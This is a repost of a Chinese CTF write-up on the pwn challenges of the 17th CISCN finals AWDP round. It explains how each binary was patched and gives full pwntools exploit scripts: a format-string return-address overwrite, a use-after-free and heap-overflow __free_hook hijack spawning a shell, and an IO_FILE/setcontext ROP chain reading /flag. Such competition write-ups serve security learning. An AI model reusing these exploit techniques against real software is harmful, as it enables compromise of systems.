第十七届CISCN总决赛-AWDP-PWN部分题解
2024-8-12 18:5:40 Author: mp.weixin.qq.com(查看原文) 阅读量:3 收藏

README

本次决赛AWDP 共 4道 pwn题, 整体除了 PHP看不懂,其他的都能 fix 和 break ,比赛时间还是挺久的,但是做着做着就时间就所剩无几了,最后CHR 也没能break。

awdp 第13名,最终总排名 32 名,无缘一等奖,和前面的队伍就差几分,如果再开个渗透题也就一了。

修补包示例

◆update.sh

#!/bin/sh
mv pwn_fix /home/ctf/pwn
chmod 777 /home/ctf/pwn

◆打包命令

tar zcvf update.tar.gz update.sh pwn_fix

anime

Fix

fix 比较简单,非stack 上格式化字符串漏洞。

call _printf改从call _puts既可。

Break

◆漏洞利用并不难,此题我在libc 的替换上话花了太多时间。

◆先来说一下比赛中遇到的一下坑点。

一般做格式化字符串漏洞的题目时,我一般会把给的附件 patch成题目指定的glibc 版本。

附件给的时pwn libc.so.6 libcrypto.so.1.1glibc 2.31, 我本地没有 ubutnu 20,只能通过替换成 glibcallinone。

◆直接说坑点把,pwn 文件 其实只需要ld.so libc.so.6 libcrypto.so.1.1。

◆至于libdl.so.2 libpthread.so.0其实是libcrypto.so.1.1需要的。

◆导致后面就算把libdl.so.2 libpthread.so.0放到当前目录下也不行。

◆最后patch 好了。

◆后面就是非stack 上格式话字符串漏洞了,修改 main 函数的返回地址 打 ogg 既可以 ( 前期打 poprdi-binsh-system ,只能正确写前 0x10 ,转变写一个 ogg 也就可以了)。

from pwn import *
import sys

from Crypto.Cipher import AES

s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(str(delim), data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(str(delim), data)
r = lambda num :io.recv(num)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
rl = lambda :io.recvline()
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
ls = lambda data :log.success(data)
lss = lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))

context.arch = 'amd64'
#context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h','-l','130']
def start(binary,argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)
elif args.RE:
return remote('123.57.149.79',37175)
elif args.AWD:
# python3 exp.py AWD 1.1.1.1 PORT
IP = str(sys.argv[1])
PORT = int(sys.argv[2])
return remote(IP,PORT)
else:
return process([binary] + argv, *a, **kw)

binary = './pwn'
libelf = ''

if (binary!=''): elf = ELF(binary) ; rop=ROP(binary);libc = elf.libc
if (libelf!=''): libc = ELF(libelf)

gdbscript = '''
brva 0x15CB
brva 0x00015FF
#continue
'''.format(**locals())

def _pad(bStr:bytes):
blen=len(bStr)
add=16-(blen%16)
buffer=bStr+add*chr(0).encode()
return buffer

key = bytes.fromhex('7BF35CD69C475D5E6F1D7A23187BF934')
def sendpay(pay):
ru('anime: ')
pay = _pad(pay)
aes = AES.new(key,AES.MODE_ECB) # ECB
cr_text = aes.encrypt(pay)
s(cr_text)
ru('your like ')

io = start(binary)

ru('name\n')
pay = '/bin/sh;'
s(pay)
ru('/bin/sh;')
elf_base = uu64(r(6)) - 0x11e0

lss('elf_base')
#

pay = f"%{6+6}$p"
pay = pay.encode()

sendpay(pay)

stack = int(ru('!'),16)
lss('stack')

count = stack - 284
lss('count')

pay = f"%{count & 0xFFFF}c%{6+0xb}$hn"
pay = pay.encode()
sendpay(pay)

pay = f"%19c%{6+0x27}$hn"
pay = pay.encode()
sendpay(pay)

#09:0048│ 0x7ffe087b05e8 —▸ 0x7d1810232083 (__libc_start_main+243) ◂— mov edi, eax
pay = f"%{6+9}$p"
pay = pay.encode()
sendpay(pay)
libc_base = int(ru('!'),16) - libc.sym['__libc_start_main'] - 243
lss('libc_base')

libc.address = libc_base

rdi = next(libc.search(asm('pop rdi;ret')))
binsh = 0x1234
system = libc.sym['system']

ogg = 0xe3b01
rop = p64(libc_base + ogg) #+ p64(rdi) + p64(binsh) + p64(system)

stack_ret = stack - 232

for i in range(len(rop)):
pay = f"%{(stack_ret + i) & 0xFFFF}c%{6+0xb}$hn\x00"
pay = pay.encode()
sendpay(pay)

pd = rop[i]
if(pd==0):
pay = f"%{6+0x27}$hhn\x00"
else:
pay = f"%{pd}c%{6+0x27}$hhn\x00"

pay = pay.encode()
sendpay(pay)

#gdb.attach(io,gdbscript)

pay = f"A\x00"
pay = pay.encode()
sendpay(pay)

itr()

ezheap

Fix

◆一开始没有关注 uaf 这里,导致前几轮没能fix,后面才意识到。

漏洞点再 rm() 函数里。

free 堆块后,并没有清空指向堆块的指针,导致UAF漏洞。

◆没有修复时的汇编

◆修复后的汇编

mov rax, qword ptr [rbp_var_4] ; 取idx
shl eax, 3 ; idx 乘以 8
lea rdx, qword ptr [0xA080] ; 取 heap_list 的地址
add rdx, rax ; 计算索引的地址
push rdx ; 将堆指针 压到stack 上
mov rdi,[rdx] ; 取heap地址
call _free ; free heap ;ret 后 rdi 寄存器是空的
pop rdx ; 取出指向heap的指针
mov [rdx], rdi ; 清空指针的内容

◆保存修改后的

◆打包

◆上传 tar.gz

Break

◆前期堆块分配的风水不是很好,导致后面改完tcachebins 后 ,没有机会继续申请了。只能重新写了一份exp, 又浪费了宝贵时间,导致最后几轮才成功Break。

◆已知UAF漏洞。

◆经过分析还存在 堆溢出漏洞, edit 时 可以重新定义写入大小导致堆溢出漏洞。

◆glibc2.31。

◆add 时 size 的大小再 0x10-0x400,free后不会进入unsortedbin。

◆而且有堆块数量限制,不能通过填满 tcachebins 让堆块进入unsortedbin。

◆利用堆溢出修改 堆块的 size, free 后进入 unsortedbin,从而泄露 libc 地址。

◆后面就控制tcachebins,任意地址申请到__free_hook既可。

from pwn import *

s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(str(delim), data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(str(delim), data)
r = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
ls = lambda data :log.success(data)
lss = lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))

context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h','-l','130']
def start(binary,argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)
elif args.RE:
return remote('39.106.48.123',30155)
else:
return process([binary] + argv, *a, **kw)

binary = './pwn'
libelf = ''

if (binary!=''): elf = ELF(binary) ; rop=ROP(binary);libc = elf.libc
if (libelf!=''): libc = ELF(libelf)

gdbscript = '''
#brva 0x1917
#brva 0x17A3
brva 0x0156C
#continue
'''.format(**locals())

io = start(binary)

def add(idx=0,l=0,meg='A'):
ru('Please input:')
json = '{' + f'''
"choice":"new",
"index": {idx},
"length": {l},
"message":"{meg}"
''' + '}'
json = json.replace('\n','').replace(' ','')
sl(json)

def rm(idx=0,l=0,meg='A'):
ru('Please input:')
json = '{' + f'''
"choice":"rm",
"index": {idx},
"length": {l},
"message":"{meg}"
''' + '}'
json = json.replace('\n','').replace(' ','')
sl(json)

def show(idx=0,l=0,meg='A'):
ru('Please input:')
json = '{' + f'''
"choice":"view",
"index": {idx},
"length": {l},
"message":"{meg}"
''' + '}'
json = json.replace('\n','').replace(' ','')
sl(json)

def edit(idx=0,l=0,meg='A'):
ru('Please input:')
json = '{' + f'''
"choice":"modify",
"index": {idx},
"length": {l},
"message":"{meg.decode()}"
''' + '}'
json = json.replace('\n','').replace(' ','')
sl(json)

add(0,0x78,"I"*0x28)
add(1,0x3f8,"A"*0x28)
add(2,0x78,"I"*0x28)
add(3,0x78,"I"*0x28)

edit(0,736+0xa,b'Y'*(736+8)+p16(0x401+0x50*5+0x20*5))

rm(1)

add(4,16,'')
edit(4,1,b"C")
show(4)
ru('message:')
libc_base = uu64(r(6)) - 2018115
lss('libc_base')

rm(2)
rm(3)

ru('Please input:')
json = b'{"choice":"modify","index":3, "length": 9, "message":"'+p64(libc_base + libc.sym['__free_hook'])[:6]+b'"}'
json = json.replace(b' ',b'')
print(json)
sl(json)

add(5,0x78,'/bin/sh;')

ru('Please input:')
json = b'{"choice":"new","index":6, "length": 120, "message":"'+p64(libc_base + libc.sym['system'])[:6]+b'"}'
json = json.replace(b' ',b'')
print(json)
sl(json)

#gdb.attach(io,gdbscript)
rm(5)

io.interactive()

CHR

Fix

◆瞎 fix 的, 居然成功了。

限制大小。

Break(赛后)

◆比赛好几个小时,理论上三题fix和break都可以做出来的,比赛的时候时间还是比较紧的,失误一点都会浪费好多时间,后面就剩两三轮了,也就不想做了。

◆Break 后 也就指定漏洞点了,Fix 肯定也就比较容易了。

◆恰好我本地也是 ubuntu 24 glibc 2.39,我就单纯打个本地吧。

◆转换后会造成堆溢出

◆堆溢出的利用,后面任意地址申请 先去控制_IO_2_1_stdin_结构体,然后scanf触发任意地址写到_IO_2_1_stdout_后面 puts 触发IO 流攻击。

◆后面就是ORW flag 既可。

◆任意写

◆scanf触发

◆劫持IO流

◆puts 触发IO攻击,后面就是 ROP 既可

◆最后exploit

from pwn import *
import sys
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(str(delim), data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(str(delim), data)
r = lambda num :io.recv(num)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
rl = lambda :io.recvline()
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
ls = lambda data :log.success(data)
lss = lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))

context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h','-l','130']
def start(binary,argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)
elif args.RE:
return remote()
elif args.AWD:
# python3 exp.py AWD 1.1.1.1 PORT
IP = str(sys.argv[1])
PORT = int(sys.argv[2])
return remote(IP,PORT)
else:
return process([binary] + argv, *a, **kw)

binary = './pwn'
libelf = ''

if (binary!=''): elf = ELF(binary) ; rop=ROP(binary);libc = elf.libc
if (libelf!=''): libc = ELF(libelf)

gdbscript = '''
#brva 0x0182F
#brva 0x01C7D
#brva 0x01BC8

#continue
'''.format(**locals())

io = start(binary)

def add(size,text='A'):
ru('>> ')
sl('1')
ru('size:')
sl(str(size))
ru('content:')
s(text)

def rm(idx):
ru('>> ')
sl('2')
ru('idx:\n')
sl(str(idx))

def edit(idx,text):
ru('>> ')
sl('3')
ru('idx:')
sl(str(idx))
ru('content:')
s(text)

def show(idx):
ru('>> ')
sl('4')
ru('idx:')
sl(str(idx))
ru('content:')

def convert(idx):
ru('>> ')
sl('5')
ru('idx:\n')
sl(str(idx))

#for i in range(0x10):

for i in range(0x8):
add(0x108)
add(0x108)

# 0-15

pay = b'A' * 0x100
pay += '鸡'.encode('utf-8') + p16(0x110 * 5 + 1)
edit(0,pay)

convert(0)
rm(1)

for i in range(7):
add(0x108*2)
# 16
show(5)
libc_base = uu64(r(6)) - 2112288

lss('libc_base')

pay = b'A' * 0x108 + p64(0x111)
edit(0x14,pay) #20

rm(2)

pay = b'A' * 0x110
edit(0x14,pay) #20

show(0x14)
ru(pay)

key = uu64(r(5))
heap_addr = key << 0xC

pay = b'A' * 0x108 + p64(0x111)
edit(0x15,pay) #20

rm(4)

libc.address = libc_base
_IO_2_1_stdout_ = libc.sym['_IO_2_1_stdout_']
_IO_2_1_stdin_ = libc.sym['_IO_2_1_stdin_']

pay = b'A' * 0x108 + p64(0x111)
pay += p64(key ^ (_IO_2_1_stdin_ - 0x90))
edit(0x15,pay) #20

add(0x108)

lss('libc_base')
lss('key')
lss('heap_addr')

#gdb.attach(io,gdbscript)

#gdb.attach(io,'b *setcontext+61')

x = _IO_2_1_stdout_
pay = b'\x00' * 0x90 + p64(0xfbad1800) + p64(0) * 6 + p64(x) + p64(x + 0x130)

add(0x108,pay)

pause()

fake_IO_addr = _IO_2_1_stdout_
pay = flat({
0x00: 0,
0x18: libc.sym['setcontext'] + 61,
0x20: fake_IO_addr, # 0x20 > 0x18
0x68: 0, # rdi #read fd
0x70: fake_IO_addr, # rsi #read buf
0x88: fake_IO_addr, # rdx #read size
0xa0: fake_IO_addr,
0xa8: libc.sym['read'], # RCE2 ogg
0xd8: libc.sym['_IO_wfile_jumps'] + 0x30 - 0x20,
0xe0: fake_IO_addr,
},filler=b'\x00')

sl(pay)

pause()
rop = ROP(libc)

rax = rop.find_gadget(['pop rax', 'ret'])[0]
rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
rsi = rop.find_gadget(['pop rsi', 'ret'])[0]
rdx = libc_base + 0x00000000000b502c # pop rdx ; xor eax, eax ; pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret
syscall = libc.sym['read'] + 15

pay = p64(rax) + p64(2) + p64(rdi) + p64(fake_IO_addr + 0x110) + p64(rsi) + p64(0) + p64(syscall)
pay += p64(rdx) + p64(0x50) * 5 + p64(rax) + p64(0) + p64(rdi) + p64(3) + p64(rsi) + p64(fake_IO_addr + 0x110) + p64(syscall)
pay += p64(rdx) + p64(0x50) * 5 + p64(rax) + p64(1) + p64(rdi) + p64(1) + p64(rsi) + p64(fake_IO_addr + 0x110) + p64(syscall)
pay = pay.ljust(0x110,b'\x00')
pay += b'/flag\x00'
sl(pay)

itr()

整体下来,题目还是比较简单的。除了那个PHP的我看不懂。

附件

https://pan.baidu.com/s/1Ci6Mt9gr10OIpRVYYqMedw?pwd=imlz

看雪ID:imLZH1

https://bbs.kanxue.com/user-home-987517.htm

*本文为看雪论坛精华文章,由 imLZH1 原创,转载请注明来自看雪社区

# 往期推荐

1、aarch64架构的某so模拟执行和加密算法分析

2、Linux 内核重大安全漏洞曝光!indler 漏洞威胁数亿计算机系统

3、CS2外部静默原理剖析及实现

4、逆向中的GL与着色器逆向

5、记录一次秀动APP的逆向

球分享

球点赞

球在看

点击阅读原文查看更多


文章来源: https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458567439&idx=2&sn=4214f2bea8f2ee1795f39bf24e260884&chksm=b18df38586fa7a9349cedce46438eef955cbae89e2e1935ede674469da0573ef654d925971ef&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh